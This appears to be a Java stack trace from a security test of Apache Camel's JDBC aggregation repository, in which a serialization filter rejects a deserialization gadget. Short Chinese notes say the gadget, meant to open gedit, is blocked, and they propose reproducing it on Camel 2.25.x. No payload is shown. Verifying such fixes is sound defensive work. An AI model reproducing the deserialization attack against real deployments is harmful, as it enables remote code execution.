at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.executeReactiveWork(DefaultReactiveExecutor.java:189) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.tryExecuteReactiveWork(DefaultReactiveExecutor.java:166) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor$Worker.schedule(DefaultReactiveExecutor.java:148) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.DefaultReactiveExecutor.scheduleMain(DefaultReactiveExecutor.java:59) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.Pipeline.process(Pipeline.java:163) ~[camel-core-processor-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.processNonTransacted(CamelInternalProcessor.java:354) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.impl.engine.CamelInternalProcessor.process(CamelInternalProcessor.java:330) ~[camel-base-engine-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer.sendTimerExchange(TimerConsumer.java:293) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.doRun(TimerConsumer.java:164) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.component.timer.TimerConsumer$1.run(TimerConsumer.java:136) ~[camel-timer-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at java.base/java.util.TimerThread.mainLoop(Timer.java:566) ~[na:na]
at java.base/java.util.TimerThread.run(Timer.java:516) ~[na:na]
Caused by: java.io.InvalidClassException: 过滤器状态：已拒绝
at java.base/java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1409) ~[na:na]
at java.base/java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2044) ~[na:na]
at java.base/java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1898) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2224) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at java.base/java.util.Hashtable.readHashtable(Hashtable.java:1313) ~[na:na]
at java.base/java.util.Hashtable.readObject(Hashtable.java:1259) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:na]
at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) ~[na:na]
at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) ~[na:na]
at java.base/java.lang.reflect.Method.invoke(Method.java:568) ~[na:na]
at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100) ~[na:na]
at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423) ~[na:na]
at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509) ~[na:na]
at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467) ~[na:na]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.decode(JdbcCamelCodec.java:104) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:77) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcCamelCodec.unmarshallExchange(JdbcCamelCodec.java:72) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
at org.apache.camel.processor.aggregate.jdbc.JdbcAggregationRepository$4.doInTransaction(JdbcAggregationRepository.java:359) ~[camel-sql-4.4.0-SNAPSHOT.jar:4.4.0-SNAPSHOT]
... 23 common frames omitted
过滤器将拒绝 Gadget 类，gedit 将无法打开。
尝试提供一个 Camel 2.25.x 的复现示例。